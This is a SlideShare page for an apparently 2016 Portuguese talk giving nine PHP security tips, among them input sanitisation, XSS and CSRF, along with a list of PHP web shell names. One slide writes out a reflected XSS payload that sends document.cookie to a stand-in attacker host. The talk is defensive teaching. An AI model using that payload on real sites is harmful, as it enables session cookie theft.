SlideShare uma empresa Scribd logo
1 de 29
Dicas de segurança para
o PHP e seus amigos
7º PHPMG TALKS - 2016
Eu? Sou este ai
https://github.com/joubertredrat
https://br.linkedin.com/in/joubertredrat
https://twitter.com/joubertredrat
http://www.vivaolinux.com.br/~joubertredrat
* no meu Linkedin explica o
porque do apelido RedRat
https://creativecommons.org/licenses/by-sa/4.0/
Dicas de segurança para o PHP e seus amigos
Dicas de segurança para o PHP e seus amigos
INFORMAÇÃO É PODER
QUEM TEM INFORMAÇÃO
DOMINA O MUNDO
Dicas de segurança para o PHP e seus amigos
1ª DICA
REMOVER INFORMAÇÕES DESNECESSÁRIAS
Dicas de segurança para o PHP e seus amigos
1ª DICA - REMOVER INFORMAÇÕES DESNECESSÁRIAS
Dicas de segurança para o PHP e seus amigos
1ª DICA - REMOVER INFORMAÇÕES DESNECESSÁRIAS
Dicas de segurança para o PHP e seus amigos
2ª DICA
ISOLAR SUAS APLICAÇÕES, SITES OU SISTEMAS
Dicas de segurança para o PHP e seus amigos
2ª DICA - ISOLAR SUAS APLICAÇÕES, SITES OU SISTEMAS
Dicas de segurança para o PHP e seus amigos
3ª DICA
DESABILITAR OU EVITAR RECURSOS EXTERNOS
Dicas de segurança para o PHP e seus amigos
3ª DICA - DESABILITAR OU EVITAR RECURSOS EXTERNOS
R57 R6
C99Shell C100Shell
bypass Tool25
b374k
GaZa
Dicas de segurança para o PHP e seus amigos
3ª DICA - DESABILITAR OU EVITAR RECURSOS EXTERNOS
http://php.net/allow-url-include
Dicas de segurança para o PHP e seus amigos
4ª DICA
USAR URL AMIGÁVEIS E EVITAR QUERY STRING
Dicas de segurança para o PHP e seus amigos
4ª DICA - USAR URL AMIGÁVEIS E EVITAR QUERY STRING
Dicas de segurança para o PHP e seus amigos
5ª DICA
TRATAR OS DADOS VINDOS DO USUÁRIO
MESMO ASSIM QUER USAR QUERY STRING?
4ª DICA - USAR URL AMIGÁVEIS E EVITAR QUERY STRING
Dicas de segurança para o PHP e seus amigos
5ª DICA - TRATAR OS DADOS VINDOS DO USUÁRIO
filter_var
mysqli_stmt_bind_param
PDOStatement::bindValue
DateTime::getLastErrors();
is_(bool,callable,numeric,float,string,object,etc)
Libs no Packagist
Dicas de segurança para o PHP e seus amigos
5ª DICA - TRATAR OS DADOS VINDOS DO USUÁRIO
Quer fazer testes?
sqlmap Zed Attack Proxy “ZAP”
BeEF sqlninja
Dicas de segurança para o PHP e seus amigos
6ª DICA
EVITAR O USO DA PRIMARY KEY OU ID
Dicas de segurança para o PHP e seus amigos
6ª DICA - EVITAR O USO DA PRIMARY KEY OU ID
• UUID
• GUID
• MD5/CRC32/SHA1/SHA256
• Hash ou Ofuscamento
Dicas de segurança para o PHP e seus amigos
6ª DICA - EVITAR O USO DA PRIMARY KEY OU ID
Dicas de segurança para o PHP e seus amigos
7ª DICA (PRIMA DA 5ª DICA)
CROSS-SITE SCRIPTING
Dicas de segurança para o PHP e seus amigos
7ª DICA - CROSS-SITE SCRIPTING
Dicas de segurança para o PHP e seus amigos
7ª DICA - CROSS-SITE SCRIPTING
Dicas de segurança para o PHP e seus amigos
7ª DICA - CROSS-SITE SCRIPTING
Dicas de segurança para o PHP e seus amigos
7ª DICA - CROSS-SITE SCRIPTING
results.php?q=<script>window.open("http://site.do.mal/get.php?cookie=" + document.cookie, "_blank");</script>
Dicas de segurança para o PHP e seus amigos
8ª DICA
CROSS SITE REQUEST FORGERY
Dicas de segurança para o PHP e seus amigos
8ª DICA - CROSS SITE REQUEST FORGERY
Dicas de segurança para o PHP e seus amigos
9ª DICA
USAR CHECKSUM OU O VCS AO SEU FAVOR
Dicas de segurança para o PHP e seus amigos
9ª DICA - USAR CHECKSUM OU O VCS AO SEU FAVOR
Dicas de segurança para o PHP e seus amigos
ACABOU AS DICAS POR HOJE
PERGUNTAS?
FALA QUE NÃO
TEM 

Mais conteúdo relacionado

Mais procurados

TDC2016SP - Programando PHP com mais segurança!
TDC2016SP - Programando PHP com mais segurança!TDC2016SP - Programando PHP com mais segurança!
TDC2016SP - Programando PHP com mais segurança!tdc-globalcode
 
Palestra: Pentest - Intrusão de Redes
Palestra: Pentest - Intrusão de RedesPalestra: Pentest - Intrusão de Redes
Palestra: Pentest - Intrusão de RedesBruno Alexandre
 
Mitre ATT&CK - Quando Risco, Ataque e Defesa falam a mesma linguagem
Mitre ATT&CK -  Quando Risco, Ataque e Defesa falam a mesma linguagemMitre ATT&CK -  Quando Risco, Ataque e Defesa falam a mesma linguagem
Mitre ATT&CK - Quando Risco, Ataque e Defesa falam a mesma linguagemRodrigo Montoro
 
Modos De OperaçãO Snort Campusparty2010
Modos De OperaçãO Snort Campusparty2010Modos De OperaçãO Snort Campusparty2010
Modos De OperaçãO Snort Campusparty2010clebeer brandao
 
Dojo - Arquitetura flexível e escalável
Dojo - Arquitetura flexível e escalávelDojo - Arquitetura flexível e escalável
Dojo - Arquitetura flexível e escalávelCesarCanoastec
 
Ethical hacking: Conceitos básicos de Testes de penetração
Ethical hacking: Conceitos básicos de Testes de penetraçãoEthical hacking: Conceitos básicos de Testes de penetração
Ethical hacking: Conceitos básicos de Testes de penetraçãoCleórbete Santos
 
Anti-Anti-Forense de Memória: Abortando o "Abort Factor"
Anti-Anti-Forense de Memória: Abortando o "Abort Factor"Anti-Anti-Forense de Memória: Abortando o "Abort Factor"
Anti-Anti-Forense de Memória: Abortando o "Abort Factor"Nullbyte Security Conference
 
Treta Hunting - Cris Barbosa
Treta Hunting - Cris BarbosaTreta Hunting - Cris Barbosa
Treta Hunting - Cris BarbosaTest Girls
 
Linux4security
Linux4securityLinux4security
Linux4securityDaniel
 
Oficina de Análise em Vulnerabilidades - Openvas4 - GaroaHC
Oficina de Análise em Vulnerabilidades - Openvas4 - GaroaHCOficina de Análise em Vulnerabilidades - Openvas4 - GaroaHC
Oficina de Análise em Vulnerabilidades - Openvas4 - GaroaHCMauro Risonho de Paula Assumpcao
 
Desenvolvimento web seguro cookies - Rodolfo Stangherlin
Desenvolvimento web seguro cookies - Rodolfo StangherlinDesenvolvimento web seguro cookies - Rodolfo Stangherlin
Desenvolvimento web seguro cookies - Rodolfo StangherlinTchelinux
 

Mais procurados (17)

TDC2016SP - Programando PHP com mais segurança!
TDC2016SP - Programando PHP com mais segurança!TDC2016SP - Programando PHP com mais segurança!
TDC2016SP - Programando PHP com mais segurança!
 
Palestra software livre
Palestra software livrePalestra software livre
Palestra software livre
 
Palestra: Pentest - Intrusão de Redes
Palestra: Pentest - Intrusão de RedesPalestra: Pentest - Intrusão de Redes
Palestra: Pentest - Intrusão de Redes
 
3 google open souce jam- a - hardening
3 google open souce jam- a - hardening3 google open souce jam- a - hardening
3 google open souce jam- a - hardening
 
Mitre ATT&CK - Quando Risco, Ataque e Defesa falam a mesma linguagem
Mitre ATT&CK -  Quando Risco, Ataque e Defesa falam a mesma linguagemMitre ATT&CK -  Quando Risco, Ataque e Defesa falam a mesma linguagem
Mitre ATT&CK - Quando Risco, Ataque e Defesa falam a mesma linguagem
 
2013 - 4 Google Open Source Jam
2013 - 4 Google Open Source Jam2013 - 4 Google Open Source Jam
2013 - 4 Google Open Source Jam
 
Modos De OperaçãO Snort Campusparty2010
Modos De OperaçãO Snort Campusparty2010Modos De OperaçãO Snort Campusparty2010
Modos De OperaçãO Snort Campusparty2010
 
Andamio Blanca 1IM
Andamio Blanca 1IMAndamio Blanca 1IM
Andamio Blanca 1IM
 
Dojo - Arquitetura flexível e escalável
Dojo - Arquitetura flexível e escalávelDojo - Arquitetura flexível e escalável
Dojo - Arquitetura flexível e escalável
 
Segurança no MySQL
Segurança no MySQLSegurança no MySQL
Segurança no MySQL
 
Pentest
Pentest Pentest
Pentest
 
Ethical hacking: Conceitos básicos de Testes de penetração
Ethical hacking: Conceitos básicos de Testes de penetraçãoEthical hacking: Conceitos básicos de Testes de penetração
Ethical hacking: Conceitos básicos de Testes de penetração
 
Anti-Anti-Forense de Memória: Abortando o "Abort Factor"
Anti-Anti-Forense de Memória: Abortando o "Abort Factor"Anti-Anti-Forense de Memória: Abortando o "Abort Factor"
Anti-Anti-Forense de Memória: Abortando o "Abort Factor"
 
Treta Hunting - Cris Barbosa
Treta Hunting - Cris BarbosaTreta Hunting - Cris Barbosa
Treta Hunting - Cris Barbosa
 
Linux4security
Linux4securityLinux4security
Linux4security
 
Oficina de Análise em Vulnerabilidades - Openvas4 - GaroaHC
Oficina de Análise em Vulnerabilidades - Openvas4 - GaroaHCOficina de Análise em Vulnerabilidades - Openvas4 - GaroaHC
Oficina de Análise em Vulnerabilidades - Openvas4 - GaroaHC
 
Desenvolvimento web seguro cookies - Rodolfo Stangherlin
Desenvolvimento web seguro cookies - Rodolfo StangherlinDesenvolvimento web seguro cookies - Rodolfo Stangherlin
Desenvolvimento web seguro cookies - Rodolfo Stangherlin
 

Semelhante a Dicas de segurança para o PHP e seus amigos

TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...tdc-globalcode
 
Análise de malware com software livre
Análise de malware com software livreAnálise de malware com software livre
Análise de malware com software livreDiego Santos
 
Qualitypress - Segurança em Aplicações Web com PHP
Qualitypress - Segurança em Aplicações Web com PHPQualitypress - Segurança em Aplicações Web com PHP
Qualitypress - Segurança em Aplicações Web com PHPQuality Press
 
Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas
Proteja sua Hovercraft: Mantendo sua nave livre dos SentinelasProteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas
Proteja sua Hovercraft: Mantendo sua nave livre dos SentinelasSegInfo
 
Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!Gustavo Neves
 
Proteja sua aplicação com o zend framework 2
Proteja sua aplicação com o zend framework 2Proteja sua aplicação com o zend framework 2
Proteja sua aplicação com o zend framework 2Cyrille Grandval
 
PHP e a (in)segurança de aplicações
PHP e a (in)segurança de aplicaçõesPHP e a (in)segurança de aplicações
PHP e a (in)segurança de aplicaçõesrjsmelo
 
Seguranca em Servidores Linux
Seguranca em Servidores LinuxSeguranca em Servidores Linux
Seguranca em Servidores LinuxAlessandro Silva
 
Segurança em servidores Linux
Segurança em servidores LinuxSegurança em servidores Linux
Segurança em servidores LinuxSoftD Abreu
 
Programando php com mais segurança
Programando php com mais segurançaProgramando php com mais segurança
Programando php com mais segurançaMichael Douglas
 
PHP like a super hero
PHP like a super heroPHP like a super hero
PHP like a super heroElton Minetto
 
Palestra - FACSENAC - De Hacker e louco, todo mundo tem um pouco
Palestra - FACSENAC - De Hacker e louco, todo mundo tem um poucoPalestra - FACSENAC - De Hacker e louco, todo mundo tem um pouco
Palestra - FACSENAC - De Hacker e louco, todo mundo tem um poucoAs Zone
 
Facsenac - De hacker e louco, todo mundo tem um pouco
Facsenac - De hacker e louco, todo mundo tem um poucoFacsenac - De hacker e louco, todo mundo tem um pouco
Facsenac - De hacker e louco, todo mundo tem um poucoThiago Dieb
 

Semelhante a Dicas de segurança para o PHP e seus amigos (20)

TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
 
Segurança em PHP
Segurança em PHPSegurança em PHP
Segurança em PHP
 
Análise de malware com software livre
Análise de malware com software livreAnálise de malware com software livre
Análise de malware com software livre
 
Qualitypress - Segurança em Aplicações Web com PHP
Qualitypress - Segurança em Aplicações Web com PHPQualitypress - Segurança em Aplicações Web com PHP
Qualitypress - Segurança em Aplicações Web com PHP
 
PHP, Mercado e Certificações
PHP, Mercado e CertificaçõesPHP, Mercado e Certificações
PHP, Mercado e Certificações
 
Criptografia com PHP
Criptografia com PHPCriptografia com PHP
Criptografia com PHP
 
Security & PHP
Security & PHPSecurity & PHP
Security & PHP
 
Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas
Proteja sua Hovercraft: Mantendo sua nave livre dos SentinelasProteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas
Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas
 
Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!
 
PHP Tools for Fast coding
PHP Tools for Fast codingPHP Tools for Fast coding
PHP Tools for Fast coding
 
Proteja sua aplicação com o zend framework 2
Proteja sua aplicação com o zend framework 2Proteja sua aplicação com o zend framework 2
Proteja sua aplicação com o zend framework 2
 
PHP e a (in)segurança de aplicações
PHP e a (in)segurança de aplicaçõesPHP e a (in)segurança de aplicações
PHP e a (in)segurança de aplicações
 
Seguranca em Servidores Linux
Seguranca em Servidores LinuxSeguranca em Servidores Linux
Seguranca em Servidores Linux
 
Segurança em servidores Linux
Segurança em servidores LinuxSegurança em servidores Linux
Segurança em servidores Linux
 
Programando php com mais segurança
Programando php com mais segurançaProgramando php com mais segurança
Programando php com mais segurança
 
Evolucao php2
Evolucao php2Evolucao php2
Evolucao php2
 
PHP like a super hero
PHP like a super heroPHP like a super hero
PHP like a super hero
 
Pentest conisli07
Pentest conisli07Pentest conisli07
Pentest conisli07
 
Palestra - FACSENAC - De Hacker e louco, todo mundo tem um pouco
Palestra - FACSENAC - De Hacker e louco, todo mundo tem um poucoPalestra - FACSENAC - De Hacker e louco, todo mundo tem um pouco
Palestra - FACSENAC - De Hacker e louco, todo mundo tem um pouco
 
Facsenac - De hacker e louco, todo mundo tem um pouco
Facsenac - De hacker e louco, todo mundo tem um poucoFacsenac - De hacker e louco, todo mundo tem um pouco
Facsenac - De hacker e louco, todo mundo tem um pouco
 

Mais de Joubert Guimarães de Assis "RedRat" (8)

Automatizando seu deploy com Deployer e Gitlab CI
Automatizando seu deploy com Deployer e Gitlab CIAutomatizando seu deploy com Deployer e Gitlab CI
Automatizando seu deploy com Deployer e Gitlab CI
 
#tbt do PHP, a evolução da linguagem nos últimos 10 anos
#tbt do PHP, a evolução da linguagem nos últimos 10 anos#tbt do PHP, a evolução da linguagem nos últimos 10 anos
#tbt do PHP, a evolução da linguagem nos últimos 10 anos
 
Automatizando seu deploy com Deployer e Gitlab CI
Automatizando seu deploy com Deployer e Gitlab CIAutomatizando seu deploy com Deployer e Gitlab CI
Automatizando seu deploy com Deployer e Gitlab CI
 
O mundo das startups
O mundo das startupsO mundo das startups
O mundo das startups
 
Kubernetes gerenciado na Digital Ocean: Uma experiência prática
Kubernetes gerenciado na Digital Ocean: Uma experiência práticaKubernetes gerenciado na Digital Ocean: Uma experiência prática
Kubernetes gerenciado na Digital Ocean: Uma experiência prática
 
Porque migrar sua aplicação para microserviços?
Porque migrar sua aplicação para microserviços?Porque migrar sua aplicação para microserviços?
Porque migrar sua aplicação para microserviços?
 
Por que migrar sua aplicação para Microserviços
Por que migrar sua aplicação para MicroserviçosPor que migrar sua aplicação para Microserviços
Por que migrar sua aplicação para Microserviços
 
Introdução ao OpenStack
Introdução ao OpenStackIntrodução ao OpenStack
Introdução ao OpenStack
 

Dicas de segurança para o PHP e seus amigos

  • 1. Dicas de segurança para o PHP e seus amigos 7º PHPMG TALKS - 2016
  • 2. Eu? Sou este ai https://github.com/joubertredrat https://br.linkedin.com/in/joubertredrat https://twitter.com/joubertredrat http://www.vivaolinux.com.br/~joubertredrat * no meu Linkedin explica o porque do apelido RedRat https://creativecommons.org/licenses/by-sa/4.0/ Dicas de segurança para o PHP e seus amigos
  • 3. Dicas de segurança para o PHP e seus amigos INFORMAÇÃO É PODER QUEM TEM INFORMAÇÃO DOMINA O MUNDO
  • 4. Dicas de segurança para o PHP e seus amigos 1ª DICA REMOVER INFORMAÇÕES DESNECESSÁRIAS
  • 5. Dicas de segurança para o PHP e seus amigos 1ª DICA - REMOVER INFORMAÇÕES DESNECESSÁRIAS
  • 6. Dicas de segurança para o PHP e seus amigos 1ª DICA - REMOVER INFORMAÇÕES DESNECESSÁRIAS
  • 7. Dicas de segurança para o PHP e seus amigos 2ª DICA ISOLAR SUAS APLICAÇÕES, SITES OU SISTEMAS
  • 8. Dicas de segurança para o PHP e seus amigos 2ª DICA - ISOLAR SUAS APLICAÇÕES, SITES OU SISTEMAS
  • 9. Dicas de segurança para o PHP e seus amigos 3ª DICA DESABILITAR OU EVITAR RECURSOS EXTERNOS
  • 10. Dicas de segurança para o PHP e seus amigos 3ª DICA - DESABILITAR OU EVITAR RECURSOS EXTERNOS R57 R6 C99Shell C100Shell bypass Tool25 b374k GaZa
  • 11. Dicas de segurança para o PHP e seus amigos 3ª DICA - DESABILITAR OU EVITAR RECURSOS EXTERNOS http://php.net/allow-url-include
  • 12. Dicas de segurança para o PHP e seus amigos 4ª DICA USAR URL AMIGÁVEIS E EVITAR QUERY STRING
  • 13. Dicas de segurança para o PHP e seus amigos 4ª DICA - USAR URL AMIGÁVEIS E EVITAR QUERY STRING
  • 14. Dicas de segurança para o PHP e seus amigos 5ª DICA TRATAR OS DADOS VINDOS DO USUÁRIO MESMO ASSIM QUER USAR QUERY STRING? 4ª DICA - USAR URL AMIGÁVEIS E EVITAR QUERY STRING
  • 15. Dicas de segurança para o PHP e seus amigos 5ª DICA - TRATAR OS DADOS VINDOS DO USUÁRIO filter_var mysqli_stmt_bind_param PDOStatement::bindValue DateTime::getLastErrors(); is_(bool,callable,numeric,float,string,object,etc) Libs no Packagist
  • 16. Dicas de segurança para o PHP e seus amigos 5ª DICA - TRATAR OS DADOS VINDOS DO USUÁRIO Quer fazer testes? sqlmap Zed Attack Proxy “ZAP” BeEF sqlninja
  • 17. Dicas de segurança para o PHP e seus amigos 6ª DICA EVITAR O USO DA PRIMARY KEY OU ID
  • 18. Dicas de segurança para o PHP e seus amigos 6ª DICA - EVITAR O USO DA PRIMARY KEY OU ID • UUID • GUID • MD5/CRC32/SHA1/SHA256 • Hash ou Ofuscamento
  • 19. Dicas de segurança para o PHP e seus amigos 6ª DICA - EVITAR O USO DA PRIMARY KEY OU ID
  • 20. Dicas de segurança para o PHP e seus amigos 7ª DICA (PRIMA DA 5ª DICA) CROSS-SITE SCRIPTING
  • 21. Dicas de segurança para o PHP e seus amigos 7ª DICA - CROSS-SITE SCRIPTING
  • 22. Dicas de segurança para o PHP e seus amigos 7ª DICA - CROSS-SITE SCRIPTING
  • 23. Dicas de segurança para o PHP e seus amigos 7ª DICA - CROSS-SITE SCRIPTING
  • 24. Dicas de segurança para o PHP e seus amigos 7ª DICA - CROSS-SITE SCRIPTING results.php?q=<script>window.open("http://site.do.mal/get.php?cookie=" + document.cookie, "_blank");</script>
  • 25. Dicas de segurança para o PHP e seus amigos 8ª DICA CROSS SITE REQUEST FORGERY
  • 26. Dicas de segurança para o PHP e seus amigos 8ª DICA - CROSS SITE REQUEST FORGERY
  • 27. Dicas de segurança para o PHP e seus amigos 9ª DICA USAR CHECKSUM OU O VCS AO SEU FAVOR
  • 28. Dicas de segurança para o PHP e seus amigos 9ª DICA - USAR CHECKSUM OU O VCS AO SEU FAVOR
  • 29. Dicas de segurança para o PHP e seus amigos ACABOU AS DICAS POR HOJE PERGUNTAS? FALA QUE NÃO TEM 